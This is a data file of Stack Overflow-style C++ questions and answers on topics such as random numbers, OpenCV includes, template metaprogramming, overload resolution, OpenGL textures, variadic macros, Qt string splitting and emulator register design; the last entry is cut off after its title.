question_id
int64
25
74.7M
answer_id
int64
332
74.7M
title
stringlengths
20
150
question
stringlengths
23
4.1k
answer
stringlengths
20
4.1k
71,092,308
71,092,336
c++ test if random number is positive or negative
I have school work with C++ and Im new to it. I have to generate 17 random numbers and then test if they are positive/negative/equal to zero. I can't seem to find a way to take the random generated number from the for loop to test it in the if/else if loop. Heeeeelp please :D (The b variable is just there from tests) #include <ctime> using namespace std; int main() { srand( (unsigned) time(0) ); int a; int b; int num; for(int a = 0; a<17; a++) { cout << "Skaitlis: " << rand()% 20 + -10 << "\n"; if(b > 0){ cout << b << " is a positive number." << endl; } else if (b == 0){ cout << b << " is equal to zero." << endl; } else { cout << b << " is a negative number." << endl; } } }
Easy enough, first assign the value to b, so you can then compare it. The current cout just outputs it. b = rand()% 20 - 10; cout << "Skaitlis: " << b << "\n";
71,092,448
71,092,605
How can I fix my OpenCV4 installation on Ubuntu
I need some help. I want to install Opencv4 on my computer (which runs on Ubuntu) and use it with VSCode. A lot of tutorial explains how to do it, so here is one of thoses I followed: https://vitux.com/opencv_ubuntu/ I, next, took a program my teacher sent me to check installation: #include <iostream> #include <string> #include <opencv4/opencv2/highgui.hpp> using namespace cv; using namespace std; int main(void) { string imageName("/home/baptiste/Documents/M1/infographie/images/lena.jpg"); // path to the image Mat img; img = imread(imageName, IMREAD_COLOR); // Read the file as a color image if( img.empty() ) // Check for invalid input { cout << "Could not open or find the image" << std::endl ; return -1; } Mat img_gray; img_gray = imread(imageName,IMREAD_GRAYSCALE); //Read the file as a grayscale image if( img_gray.empty() ) // Check for invalid input { cout << "Could not open or find the image" << std::endl ; return -1; } imshow( "Image read", img ); // Show our color image inside the window. imshow("Grayscale image read", img_gray); //Show our grayscale image inside the window. waitKey(0); // Wait for a keystroke in the window imwrite("/home/baptiste/Documents/M1/infographie/images/lena_gray.jpg", img_gray); //Save our grayscale image into the file return 0; } I also wrote a makefile: CC=g++ read_image: read_image.cpp $(CC) read_image.cpp -o read_image `pkg-config --libs --cflags opencv4` clean: rm -f read_image But when I am compiling, I got this: g++ read_image.cpp -o read_image `pkg-config --libs --cflags opencv4` In file included from read_image.cpp:3: /usr/local/include/opencv4/opencv2/highgui.hpp:46:10: fatal error: opencv2/core.hpp: Aucun fichier ou dossier de ce type 46 | #include "opencv2/core.hpp" | ^~~~~~~~~~~~~~~~~~ compilation terminated. make: *** [makefile:4 : read_image] Erreur 1 I also spot a problem with my opencv installation: in /usr/local/include, I have a opencv4 folder, which contains...a opencv2 folder, and then the whole installation. I am interpreting this as: the inclusion made by the modules are not reading at the good place. My program actually recognize the location of highgui.hpp, but that module does not recognize the good location for core.hpp I did not saw anyone having that problem so it might be quite weird but can someone help me with that ? Also, I added "/usr/local/include/opencv4/**" into my VSCode configuration. Thank you for your answer, and for the time you will invest. EDIT 1: Here is my c_cpp_properties.json: "configurations": [ { "name": "Linux", "includePath": [ "${workspaceFolder}/**", "/usr/local/include/opencv4/**" ], "defines": [], "compilerPath": "/usr/bin/clang", "cStandard": "c11", "cppStandard": "c++14", "intelliSenseMode": "linux-clang-x64" } ], "version": 4 } And how do I the "tasks.json" file ?
I am interpreting this as: the inclusion made by the modules are not reading at the good place. My program actually recognize the location of highgui.hpp, but that module does not recognize the good location for core.hpp nice & correct analysis, for a noob !! your teacher's test program is already incorrect #include <opencv4/opencv2/highgui.hpp> should be: #include <opencv2/highgui.hpp> #include <opencv2/core.hpp> // added for clarity #include <opencv2/imgcodecs.hpp> // same and you should probably drop the (opaque and badly supported) pkg-config parts from your makefile, and add paths / libs manually, so you at least "know, what you're doing": CC=g++ INC=/usr/local/include/opencv4 LIB=/usr/local/lib LIBS=-lopencv_core -lopencv_highgui -lopencv_imgcodecs read_image: read_image.cpp $(CC) -I$(INC) read_image.cpp -o read_image -L$(LIB) $(LIBS) clean: rm -f read_image
71,092,531
71,094,275
Cartesian product of list of templates and list of types to instantiate them with
Not sure if title is descriptive, but what I would like is this: input: list of templates(in my case containers) taking 1 (required, can be more optional) type arguments list of types output: "cartesian product" where each template in first set is instantiated with every type in second set. example: template_list<std::vector, std::set> x type_list<int, double> => type_list<std::vector<int>, std::vector<double>, std::set<int>, std::set<double>> I found this question, but that is about a case when elements of both sets are types. How to create the Cartesian product of a type list? I presume that what I want is impossible without macros, but it may be possible that I am missing something.
As in my answer on he linked question, with Boost.Mp11, this is a short one-liner (as always): using templates = mp_list<mp_quote<std::vector>, mp_quote<std::set>>; using types = mp_list<int, double>; using result = mp_product< mp_invoke_q, templates, types>; static_assert(std::same_as< result, mp_list<std::vector<int>, std::vector<double>, std::set<int>, std::set<double> >>); Demo. Note that you need templates as mp_list<mp_quote<C1>, mp_quote<C2>> instead of template_list<C1, C2>, since metaprogramming is lot easier if everything is a type. But that's not a huge burden.
71,093,821
71,093,969
c++ Extract parameter type list from function pointer
Im trying to get the argument types from a function pointer This should be the working end product std::function<void(TestAppObject*, MemberFuncArgs<decltype(&TestAppObject::TestMethod)>::InputArgs)> func = &TestAppObject::TestMethod; Current MemberFuncArgs class template<typename T> struct MemberFuncArgs; template<typename RT, typename Owner, typename ...Args> struct MemberFuncArgs<RT(Owner::*)(Args...)> { static const size_t ArgCount = sizeof...(Args); typedef RT ReturnType; typedef Args InputArgs; }; Compiler throws the error 'Args': parameter pack must be expanded in this context. I just need a way to extract the Args... type from the function pointer, its probably just a syntax issue that im too dumb to see...
The compiler say the you can't define a single type InputArgs typedef Args InputArgs; given that Args is a variadic list. Maybe you can define a type base on a tuple using InArgsTuple = std::tuple<Args...>; so you can extract the single types in Args... using std::tuple_element So, with a little template meta-programming, you should be able to write something as using TplT = MemberFuncArgs<decltype(&TestAppObject::TestMethod)>::InArgsTuple; std::function<void(TestAppObject*, typename std::tuple_element<Is, TplT>::type ...)> func = &TestAppObject::TestMethod; assuming that Is... is a variadic sequence of template integer values from zero to sizeof...(Args)-1. The following is a full compiling C++20 example #include <tuple> #include <functional> struct TestAppObject { int TestMethod (char, short, int, long, long long) { return 0; } }; template <typename T> struct MemberFuncArgs; template <typename RT, typename Owner, typename ... Args> struct MemberFuncArgs<RT(Owner::*)(Args...)> { static constexpr std::size_t ArgCount = sizeof...(Args); using ReturnType = RT; using InArgsTuple = std::tuple<Args...>; }; int main() { using MFA = MemberFuncArgs<decltype(&TestAppObject::TestMethod)>; using FunT = decltype([]<std::size_t ... Is>(std::index_sequence<Is...>) -> std::function<void(TestAppObject*, typename std::tuple_element<Is, MFA::InArgsTuple>::type ...)> { return {}; } (std::make_index_sequence<MFA::ArgCount>{})); FunT func = &TestAppObject::TestMethod; } If you can't use C++20 (so no template lambda and no lambda in not evaluated context) you can substitute the lambda with a traditional template function, only declared (because is used only inside decltype(). The following is a full compiling C++14/C++17 example. #include #include struct TestAppObject { int TestMethod (char, short, int, long, long long) { return 0; } }; template <typename T> struct MemberFuncArgs; template <typename RT, typename Owner, typename ... Args> struct MemberFuncArgs<RT(Owner::*)(Args...)> { static constexpr std::size_t ArgCount = sizeof...(Args); using ReturnType = RT; using InArgsTuple = std::tuple<Args...>; }; template <typename MFA, std::size_t ... Is> std::function<void(TestAppObject*, typename std::tuple_element<Is, typename MFA::InArgsTuple>::type ...)> extra_function (std::index_sequence<Is...>); int main() { using MFA = MemberFuncArgs<decltype(&TestAppObject::TestMethod)>; using FunT = decltype(extra_function<MFA> (std::make_index_sequence<MFA::ArgCount>{})); FunT func = &TestAppObject::TestMethod; }
71,094,102
71,094,262
Issue dispatching an overloaded operator to base in C++
Please forgive me if I fundamentally misunderstand something about dispatch in C++! The code as pasted below works as intended. However, if I uncomment/add the additional operator<< method in Derived (which should handle a different agrument type), C++ is then unable to resolve the previously-working dispatch "*this << something" (which, in the absence of that method, is successfully dispatched to Base as intended). It says: main.cpp:25:15: Invalid operands to binary expression ('Derived' and 'Something') Please could someone explain to me why this happens? Thanks in advance (Mac OS Monterey 12.2.1, xCode 13.2.1) #include <iostream> class Something { }; class SomethingUnrelated { }; class Base { public: virtual void method() = 0; void operator<<(Something something) { method(); } }; class Derived : public Base { public: void method() { std::cout << "Derived::method() - Yay!" << std::endl; } void work(Something something) { *this << something; } // void operator<<(SomethingUnrelated somethingUnrelated) { } }; int main(int argc, const char * argv[]) { Something something; Derived derived; derived.work(something); return 0; }
The names in the parent class are hidden while building a lookup set for the unqualified name lookup. You may bring the parent's operator to a child lookup set by using directive. I can't find the duplicated question, but I'm pretty sure the duplicated question exists. class Derived : public Base { public: void method() { std::cout << "Derived::method() - Yay!" << std::endl; } void work(Something something) { *this << something; } using Base::operator<<; void operator<<(SomethingUnrelated somethingUnrelated) { } };
71,094,868
71,094,945
How can you redefine a POD type such that it is considered a distinct type while maintaining the semantics?
Imagine the following scenario where we have a pod container type that applies to many different scenarios: struct vec2 { float x, y; }; Some of these scenarios might be storing a velocity, a position, an acceleration, etc. Now suppose we want to be able to handle all these scenarios independently while putting the type system to work and also maintaining the semantics of vec2, i.e. velocity.x, acceleration.y, etc.: struct Simulation { template<typename T> static void handle() { fprintf( stdout, "Generic handler\n" ); } }; template<> void Simulation::handle<vec2>() { fprintf( stdout, "generic vec2 handler\n" ); } template<> void Simulation::handle<position>() { fprintf( stdout, "position handler\n" ); } template<> void Simulation::handle<velocity>() { fprintf( stdout, "velocity handler\n" ); } template<> void Simulation::handle<acceleration>() { fprintf( stdout, "acceleration handler\n" ); } In the above case using either typedef or using will not do the job as they do not affect the typeid of the alias as per the standard, so one cannot do: using position = vec2; The next attempt might be to try and inherit from the pod, i.e.: struct position : public vec2 {} however this has the disadvantage that new and delete are now broken as there is no virtual destructor on the pod type, and also the qualification of the position being a pod has been lost due to the inheritance. Then it could be argued that simply copying and pasting the code for vec2 and renaming it to the desired type would satisfy all the requirement, but there are also a couple of issues with this: Copy-Pasting code is bad* In the example above vec2 has no associated operators or anything like that, but any useful vec2 class would most certainly have this and copying and pasting while renaming the data structure in this case would be pretty error prone especially if a fix is required in one of the operators The vec2 could also be encapsulated in the new type: struct position { vec2 pos; }; but this solution breaks the requirement for maintaining the semantics. Another thing to note is that we might not have control over the implementation of vec2 (i.e. in the case where a library like GLM is used). I feel that templating should provide the necessary solution, but can't work out how it would work. So the question is what is the correct way of going about redefining a type, while maintaining the semantics of the type, but ending up with a different type id? *-not in all scenarios, but this one definitely
Something along these lines, perhaps. template <typename Tag> struct vec2 { float x, y; }; using position = vec2<struct PositionTag>; using velocity = vec2<struct VelocityTag>; position and velocity would have similar behavior, but are distinct types.
71,095,274
71,096,721
Overload resolution between two constructors from std::initializer_list
In following program, struct C has two constructors : one from std::initializer_list<A> and the other from std::initializer_list<B>. Then an object of the struct is created with C{{1}}: #include <initializer_list> struct A { int i; }; struct B { constexpr explicit B(int) {} }; struct C { int v; constexpr C(std::initializer_list<A>) : v(1) {} constexpr C(std::initializer_list<B>) : v(2) {} }; static_assert( C{{1}}.v == 1 ); Since only aggregate A can be implicitly constructed from int, one could expect that C(std::initializer_list<A>) is preferred and the program succeeds. And indeed it does in Clang. However GCC complains: error: call of overloaded 'C(<brace-enclosed initializer list>)' is ambiguous note: candidate: 'constexpr C::C(std::initializer_list<B>)' note: candidate: 'constexpr C::C(std::initializer_list<A>)' and so does MSVC: error C2440: '<function-style-cast>': cannot convert from 'initializer list' to 'C' note: No constructor could take the source type, or constructor overload resolution was ambiguous Demo: https://gcc.godbolt.org/z/joz91q4ed Which compiler is correct here?
The wording could be clearer (which is unsurprising), but GCC and MSVC are correct here: the relevant rule ([over.ics.list]/7) checks only that overload resolution […] chooses a single best constructor […] to perform the initialization of an object of type X from the argument initializer list so the fact that the initialization of B from {1} would be ill-formed is irrelevant. There are several such places where implicit conversion sequences are more liberal than actual initialization, causing certain cases to be ambiguous even though some of the possibilities wouldn’t actually work. If the programmer was confused and thought one of those near misses was actually a better match, it’s a feature that the ambiguity is reported.
71,095,280
71,132,352
OpenGL texture gets worse when moving camera away from object
The texture gets generally worse more I move the camera away from the object. I need to be really close to the object for the texture to be fine. Does anyone know what would cause it and how to fix it? this is how I load the texture stbi_set_flip_vertically_on_load(1); m_Local_buffer = stbi_load(path.c_str(), &m_width, &m_height, &m_bpp, 4); glGenTextures(1, &m_rendererID); glBindTexture(GL_TEXTURE_2D, m_rendererID); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, m_width, m_height, 0, GL_RGBA, GL_UNSIGNED_BYTE, m_Local_buffer); glGenerateMipmap(GL_TEXTURE_2D); glBindTexture(GL_TEXTURE_2D, 0); image of the bad texture Edit: updated the code.
Problem was that the faces in the model were too close to each other which caused Z-fighting and that caused flickering. It was not caused by texture or my or by OpenGL code like I originally assumed. When I changed the model that had not this issue it worked correctly without any fliggering.
71,095,487
71,095,622
How do I do a forward declaration of a struct with a typename?
I am trying to do a forward declaration of a struct in c++ that has a typename. Something like this is entirely valid: typedef struct foo foo; struct foo{ int f; }; My struct just instead has a typename, so I tried this: template <typename T> typedef struct mV<T> mV; template <typename T> struct mV{ //contents of struct }; However, I then get the errors a typedef cannot be a template, explicit specialization of undeclared template struct and redefinition of 'mV' as different kind of symbol. How can I go about fixing that?
You're describing a forward- declaration . (A future is something completely different in modern C++). typedef aliasing structure tags is not needed, and rarely desired, in C++. Instead you simply declare the class type and be done with it. // typedef struct mV mV; // not this struct mV; // instead this The same goes for templates template<class T> struct mV; If you need/want to attach an alias to your template type, you still can do so via using template<class T> struct mV; template<class T> using MyAliasNameHere = mV<T>; Armed with all of that, and heading off what I surmise you'll be discovering in short order, you'll probably need to read this as well: Why can templates only be implemented in header files?. Something tells me that's about to become highly relevant.
71,095,680
71,095,708
C++ Overloading macro on undefined number of arguments
My command uses return codes and a string reference argument instead of exceptions to detect an error in the execution of a function. We have some invariant checking that looks like this: bool format(std::string &error, ...) { // call sprintf on "error" string with all passed arguments return false; } bool func(std::string &error) { // ....................... if (!some_expression) return format(error, /*some undefined number of args*/); // ....................... } I want to write a macro, that will perform this logic in one line like this: REQUIRE(expr, functor, "test string"); REQUIRE(expr, functor, "number=%lld", 1ll); REQUIRE(expr, functor, "number_1=%lld, number_2=%f", 1ll, 2.0); When REQUIRE macro will be this: #define REQUIRE(expression, functor, format, ...) \ { \ if (!expression) \ return functor(format, __VA_ARGS__) \ } But this solution doesn't work, when i pass only format string without any arguments (first case in example). I tryed all solutions from this question: Overloading Macro on Number of Arguments, but all of them requires writing overloading on all agrs count. Here is my non-working code code for now: #define REQUIRE_1(expression, functor, format) \ { \ if (!expression) \ return functor(format); \ } #define REQUIRE_2(expression, functor, format, ...) \ { \ if (!expression) \ return functor(format, __VA_ARGS__) \ } #define GET_MACRO(_1, _2, _3, NAME, ...) NAME #define REQUIRE(...) GET_MACRO(__VA_ARGS__, REQUIRE_1, REQUIRE_2)(__VA_ARGS__) bool functor(const char *format, ...) { // Here is passing args to something like printf return false; } bool format(std::string &error, ...) { // call sprintf on "error" string with all passed arguments return false; } bool func(std::string &error) { // ....................... if (!some_expression) return format(error, /*some undefined number of args*/); // ....................... } int main() { REQUIRE(true, func, "test string"); REQUIRE(true, func, "number=%lld", 1ll); REQUIRE(true, func, "number_1=%lld, number_2=%f", 1ll, 2.0); // Samples for [5,6,7..infinite] arguments } How can i achieve needed behaviour?
C++20 made it possible to call #define F(x, y, ...) as F(1, 2), without the comma after the last argument. If C++20 is available, the only change you need to do is to replace , __VA_ARGS__ with __VA_OPT__(,) __VA_ARGS__ to the remove the comma if no extra arguments are passed. Otherwise, just combine format and ... parameters into a single ... parameter.
71,095,751
71,204,808
static lib not working in codeblocks project
I have build my own version of assimp as a static lib from scrach, since the makelist files provided with the lib are complete useles. It took me about a week, but at the end I was able to build the lib without error and assimp.a was created. The next step was to use this lib in my own project. I selected a console C++ project. I folowed exactly the steps described here to include the lib into my project, but when I tried to compile got this error messages: ||=== Build: Release in myproject (compiler: GNU GCC Compiler) ===| ld.exe||cannot find -lassimp.a| ||error: ld returned 1 exit status| ||=== Build failed: 2 error(s), 0 warning(s) (0 minute(s), 1 second(s)) ===| and here the build log: mingw32-g++.exe -Lassimp -o bin\Release\myproject.exe obj\Release\main.o -m32 -s -m32 -m32 -lassimp.a C:/Program Files (x86)/CodeBlocks/MinGW/bin/../lib/gcc/mingw32/4.9.2/../../../../mingw32/bin/ld.exe: cannot find -lassimp.a collect2.exe: error: ld returned 1 exit status Process terminated with status 1 (0 minute(s), 1 second(s)) 2 error(s), 0 warning(s) (0 minute(s), 1 second(s)) At the moment my project is just a simple hello world, created by Codeblocks. I have not added a single line from the lib to that project, not even #include.
To be honest, I have no idea about the exact reason, but the problem was because I put the assimp folder and assimp.a file to my project folder. Puting assimp folder and assimp.a file to some other folder outside my project folder solved the problem. Years ago I had a similar problem with some dynamic lib and solution was the same, puting it outside the project folder.
71,095,893
71,098,607
Can an OpenAL source ever be 0?
Can an OpenAL source generated by alGenSources() ever be 0? Because I would like to store NULL as source whenever the source has stopped playing. It is stored as an ALuint. I couldn't find it in the Programmers guide.
Unfortunately, you cannot rely on 0 being reserved as invalid, as it is allowed id by specs (up to implementation to decide). According to OpenAL 1.1 specs: 2.12. Requesting Object Names OpenAL provides calls to obtain object names. The application requests a number of objects of a given category using alGen{Object}s. The actual values of the names returned are implementation dependent. No guarantees on range or value are made. ... void alGenBuffers (ALsizei n, ALuint *bufferNames); void alGenSources (ALsizei n, ALuint *sourceNames); From the other side, if you don't care about other OpenAL implementations, OpenAL soft (as for 1.17) internally returns values starting from 1, though this should be considered as implementation detail: AL_API ALvoid AL_APIENTRY alGenSources(ALsizei n, ALuint *sources) { ... err = NewThunkEntry(&source->id); ... sources[cur] = source->id; } ALenum NewThunkEntry(ALuint *index) { ... *index = i+1; return AL_NO_ERROR; }
71,095,951
71,152,852
How expressions designating temporary objects are xvalue expression?
From cppreference, I am trying to understand expressions that yield xvalues, and I ended up with this summary: The following expressions are xvalue expressions: ... any expression that designates a temporary object, after temporary materialization. Temporary materialization is: A prvalue of any complete type T can be converted to an xvalue of the same type T. This conversion initializes a temporary object of type T from the prvalue by evaluating the prvalue with the temporary object as its result object, and produces an xvalue denoting the temporary object. And per my understanding from the above quote, temporary materialization involves converting the prvalue into an xvalue to initialize the created temporary; and that's mean that whenever prvalue is materialized, an xvalue expression appears. So I found myself have to understand when exactly a prvalue is materialized. then I have checked this from cppreference: Temporary materialization occurs in the following situations: 1- when binding a reference to a prvalue; 2- when performing a member access on a class prvalue; 3- when performing an array-to-pointer conversion or subscripting on an array prvalue; 4- when initializing an object of type std::initializer_list from a braced-init-list; 5- when typeid is applied to a prvalue 6- when sizeof is applied to a prvalue 7- when a prvalue appears as a discarded-value expression. Note that temporary materialization does not occur when initializing an object from a prvalue of the same type (by direct-initialization or copy-initialization): such object is initialized directly from the initializer. This ensures "guaranteed copy elision". Can anyone help me with simple examples how xvalue expression are involved in the situation 3, 4 and 7.
situation 3, 4 and 7. 7 (discarded expression) is the easiest: 42; // materialize and discard std::string{"abc"}; // materialize and discard 3 (doing things to array rvalue) requires knowing how to make them using arr_t = int[2][3]; int a = arr_t{}[0][0]; // have to materialize to be able to subscript 4 (making an std::initializer_list) is what it says on the tin std::initializer_list<std::string>{ "abc"s, "def"s }; // have to materialize the two strings // to place them in the secret array pointed to by the list
71,096,066
71,096,217
C++ Same include line in 2 files in the same folder: one works, another can't find the file
Windows 10 Eclipse IDE for C/C++ Developers Version: Kepler Service Release 2 Build id: 20140224-0627 I'm trying to use imgui. Unfortunately, documentation is pretty shady about how to get it working. So, in order to get it working, I think I need something called "glad". Whatever it is, the only source of it seems to be some shady-looking one-pager that generates the files for you (found a link to it here). Anyway, I checked all the boxes I needed (copied from the screenshot from the provided link). I don't understand much about what it is (very roughly), I simply want to get imgui running (ha-ha on me, imgui also needs some other stuff scattered around internet, but it's my next problem, not current). Anyway, in my new C++ project in eclipse I created a folder "include" and added its path into "C/C++ General -> Paths and Symbols". So when I write "#include "glad/glad.h" in my "test3.cpp" (file with main function, project called test3), I'm ok. But I can't build it because glad.c, which is located in the SAME folder as test3.cpp, has the identical include line, but it gives an error that it can't find it. Sounds like some nonsense to me. #include "glad/glad.h" #include <iostream> using namespace std; //for those who wanted to copy default hello world program int main() { cout << "!!!Hello World!!!" << endl; // prints !!!Hello World!!! return 0; } How is this even possible? Looks like a total nonsense to me. They're in the same folder. Test3 sees the file, glad.c doesn't. I tried replacing "<>" in include in glad.c with quotes like in test3.c, same thing. One file works, another doesn't. What can I do about it?
Eclipse separates the include paths for C and C++ files. If you have a program combining both C and C++ files, the correct include paths need to be set for both languages. Navigate to the C/C++ General -> Paths and Symbols -> Includes tab. You will see both languages (and probably Assembly) listed under Languages. Pick the correct language or when adding the path, check the Add to all languages box.
71,096,156
71,096,350
Integer to pointer cast pessimism optimization opportunities
The from_base function returns the memory address from the base to a selected value in a program. I want to retrieve this value and return it in a function, however, I am getting a warning that says integer to pointer cast pessimism optimization opportunities. DWORD chat::client() { return *reinterpret_cast<DWORD*>(core::from_base(offsets::chat::client)); } I am also getting this warning when casting a function from the program: auto og_print = reinterpret_cast<chat::fn_print_chat>(core::from_base(offsets::chat::print)); I don't understand why I am getting a warning from clang-tidy about integer to pointer cast pessimism optimization opportunities performance-no-int-to-ptr I looked it up, but I can't figure it out. The code works, and gets the correct value. I am just concerned about the warning.
If a program performs a computation like: char x[10],y[10]; int test(ptrdiff_t i) { int *p = x+i; *p = 1; y[1] = 2; return *p; } a compiler would be reasonably entitled to assume that because p was formed via pointer arithmetic using x, it could not possible equal y+1, and thus the function would always return 1. If, however, the code had been written as: char x[10],y[10]; int test(ptrdiff_t i) { int *p = (char*)((uintptr_t)x + i); *p = 1; y[1] = 2; return *p; } then such an assumption would be far less reasonable, since unsigned numerical semantics would define the behavior of uintptr_t z = (uintptr_t)(y+1)-(uintptr_t)x as yielding a value such that x+z would equal (uintptr_t)(y+1). I find the apparent caution clang exhibits here a bit surprising, given that clang is prone to assume that, given some pointer char*p, it's not possible for p to equal y if (uintptr_t)p to equal (uintptr_t)(x+10) and yet for p to equal y. The Standard doesn't forbid such an assumption, but then again it also wouldn't forbid an assumption that code will never use the result of any integer-to-pointer conversion for any purpose other than comparisons with other pointers. Implementations that support type uintptr_t should of course offer stronger guarantees about round-tripped pointers which than merely saying they may be compared for equality with the originals, but the Standard doesn't require such treatment.
71,096,299
71,096,646
Definition of struct template value in constructor / member function
I'm working with a Pascal library that uses UCSD Strings. I created this template struct for making working with them easier: template <std::size_t N> struct DString { unsigned Reference, Size = N; char String[N]; }; #define MAKE_STRING(X) DString<sizeof(X)>{ 0x0FFFFFFFF, sizeof(X) - 1, X} auto foo = MAKE_STRING("Foo"); I know it does not cover WideChar cases but the library does neither in the first place so I'm safe in that regard. Anyway, my problem is that I don't want to use a macro and instead would like to create a constructor. So I was wondering if does C++ offers a possibility of implementing something like this pseudocode: template <std::size_t N> struct DString { unsigned Reference, Size = N; char String[N]; DString<sizeof(s)>(const char* s, unsigned r = 0x0FFFFFFFF): String(s), Reference(r) {} }; auto foo = DString("Foo"); Of course, it does not need to be a "constructor". It is just an example. I also tried this: template <std::size_t N> struct DString { unsigned Reference, Size = N; char String[N]; inline static DString build(const char* X) { return DString<sizeof(X)>{ 0x0FFFFFFFF, sizeof(X) - 1, X}; } }; auto foo = DString::build("Foo"); But that in itself represents another issue. Because now I cannot reference the static function from DString without doing DString< size >::build(...);. What can I do in this case?
If you can use at least C++17... using a delegate constructor and CTAD... You can add in DString an additional template constructor (maybe private), otherwise you can't initialize, directly, a char[] with a char const * template <std::size_t ... Is> DString (std::index_sequence<Is...>, char const * s, unsigned r) : Reference{r}, Size{N}, String{ s[Is]... } { } Next you have to call the new constructor from the old one DString (char const * s, unsigned r = 0x0FFFFFFFFu): DString(std::make_index_sequence<N>{}, s, r) { } Last, you have to add an explicit deduction guide (given that you want a DString<3> from a char const [4] template <std::size_t N> DString (char const (&)[N], unsigned = 0u) -> DString<N-1u>; and the automatic deduction works. The following is a full compiling example #include <utility> #include <iostream> template <std::size_t N> struct DString { private: template <std::size_t ... Is> DString (std::index_sequence<Is...>, char const * s, unsigned r) : Reference{r}, Size{N}, String{ s[Is]... } { } public: unsigned Reference, Size = N; char String[N]; DString (char const * s, unsigned r = 0x0FFFFFFFFu): DString(std::make_index_sequence<N>{}, s, r) { } }; template <std::size_t N> DString (char const (&)[N], unsigned = 0u) -> DString<N-1u>; int main() { auto foo = DString{"Foo"}; }
71,096,432
71,096,498
C++ Vector of Object searching for which object contains a specific last name error C2678 binary '==': no operator found
C++ is not really in my skills, so I have vector of objects which is obviously several copies of a class. My class is named "Contact", and my function I am property passing in my vector objects as reference. As soon as I try to add in this find, I guess an error void Contact::searchContactByLastName(string name, vector<Contact>& allContacts) { cout << "In SearchContactByLastName \n"; // unsigned int count = allContacts.size(); for (unsigned int i = 0; i < count; i++) { //this works cout << " Last Name " << i << " = " << allContacts[i].getLastName() << endl; // THIS IS WHAT DOES NOT WORK, even outside the for loop .... if (std::find(allContacts.begin(), allContacts.end(), name) != allContacts.end()) { // Found the item } } }
Since you probably don't want to implement the == operator to match Contract and std::string, it's a good idea to std::find_if allowing you to pass the matching functionality as parameter. if (std::find_if(allContacts.begin(), allContacts.end(), [&name](Contract const& contract) {return name == contract.getLastName();}) != allContacts.end()) { // Found the item }
71,096,602
71,096,760
Splitting QString on spaces and keeping the space in QList - best or 'canonical' way
As in the title, I would like to ask what is the best way to split a QString on spaces and - where relevant - keep the spaces as parts of the resulting QList elements. I'm interested in the most efficient method of doing this, considering modern C++ and Qt >= 6.0 paradigms. For the purpose of this question I will replace normal spaces with '_' - I hope it makes the problem easier to understand. Imagine the following code: QString myString = "This_is_an_exemplary_text"; for (auto word : myString.split('_')) { qDebug() << word; } The output of the code would be: "This" "is" "an" "exemplary" "text" Information about the spaces was lost in the splitting process. Is there a smart way to preserve it, and have the following output: "This_" "is_" "an_" "exemplary_" "text" Any suggestion would be welcomed.
Consider myString.split(QRegularExpression("(?<= )") The regular expression says "an empty substring preceded by a space", using the positive look-behind syntax.
71,096,924
71,096,989
Initialize an array in a struct
Is there already a way where I can initialize an array directly in a struct? Like this: struct S { int arr[50] = {5}; } I know this only initializes the first element of the array, but is there any way to write something similar with g++ but that can initialize all elements of the array with 5? I've read that with gcc we can use designated intializers int arr[50] = {[0 ... 49] = 5}; but this won't be possible in C++.
Since a struct object needs to have its constructor called when being initialized you can just perform this assignment inside the constructor, e.g.: struct S { int arr[50]; S() { for (int& val : arr) val = 5; } }; Or similarly you can use std::fill from the algorithm header #include <algorithm> struct S { int arr[50]; S() { std::fill(std::begin(arr), std::end(arr), 5); } };
71,097,047
71,109,385
LibTorch sizeof tensor
I would like to know how I can get the size in bytes of the data type of a torch::Tensor. I saw somewhere online that sizeof(tensor.dtype()) should work, but for my float32 tensor it prints out 1.
I found it myself finally. torch::elementSize() returns the size of the given ScalarType. To convert from tensor.dtype(), which has type caffe2::MetaType, to a Scalar, I had to use this converter torch::typeMetaToScalarType(tensor.dtype()) Therefore, the size of a tensor in memory can be calculated like this: tensor.numel() * torch::elementSize(torch::typeMetaToScalarType(tensor.dtype())) The docs mention none of those functions, making it very hard to find them.
71,097,211
71,097,285
Best way to create virtual registers in C++
I'm trying to create a barebones VM that can only execute x86 assembly code for a highschool project, and I figured to create all of the registers using structs. I have all of the instructions, opcodes, and operand logic implemented already, but I'm worried that this kind of botching of creating CPU registers won't be good in the long term as the project grows and I'm mostly worried if it's not the best way to implement virtual registers, not to mention it looks pretty ugly with all the repetitive code I made. If anybody could make it better or make it more efficient, that would be really helpful. #include <iostream> #include <cstdlib> // 64-bit registers struct ULL_REGISTER_STRUCT { int64_t RAX; // accumulator int64_t RCX; // counter int64_t RDX; // data int64_t RBX; // base int64_t RSP; // stack pointer int64_t RBP; // stack base pointer int64_t RSI; // source index int64_t RDI; // destination index } ULL_REGISTERS; // 32-bit registers struct UL_REGISTER_STRUCT { int32_t EAX; int32_t ECX; int32_t EDX; int32_t EBX; int32_t ESP; int32_t EBP; int32_t ESI; int32_t EDI; } UL_REGISTERS; // 16-bit struct SHORT_REGISTER_STRUCT { int16_t AX; int16_t CX; int16_t DX; int16_t BX; int16_t SP; int16_t BP; int16_t SI; int16_t DI; } SHORT_REGISTERS; // 8-bit registers struct CHAR_REGISTER_STRUCT { int8_t AH; int8_t AL; int8_t CH; int8_t CL; int8_t DH; int8_t DL; int8_t BH; int8_t BL; int8_t SPL; int8_t BPL; int8_t SIL; int8_t DIL; } CHAR_REGISTERS;
I wrote a PDP11 emulator in c++ recently I did this uint16_t registers[8]; uint16_t &PC = registers[0]; uint16_t &R1 = registers[1]; ..... ie create an array of registers so I can save them as a block or whatever but create references with the well known names for each register
71,097,511
71,097,534
Pass a variable number of arguments into a function
